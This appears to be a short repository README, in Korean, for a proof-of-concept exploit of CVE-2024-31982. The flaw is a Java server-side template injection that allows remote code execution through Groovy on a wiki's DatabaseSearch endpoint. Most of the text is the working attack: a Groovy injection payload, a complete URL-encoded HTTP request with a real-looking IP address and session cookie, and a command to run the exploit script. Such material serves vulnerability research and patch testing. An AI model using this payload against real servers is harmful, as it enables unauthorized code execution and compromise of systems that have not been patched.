nanowraith/cve-2024-31982# CVE-2024-31982 개념 증명 익스플로잇: Groovy 페이로드 주입을 통한 원격 코드 실행으로 이어지는 Java 서버 측 템플릿 주입(SSTI)
Java SSTI -> RCE로 이어짐
}}}{{async async=false}}{{groovy}}println("Successful Injection"){{/groovy}}{{/
GET /bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Successful%20Injection%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2F HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://1.117.185.47:8011/bin/view/Main/
Cookie: JSESSIONID=10D76FBAF45134404510556146000E4D
python3 CVE-2024-31982.py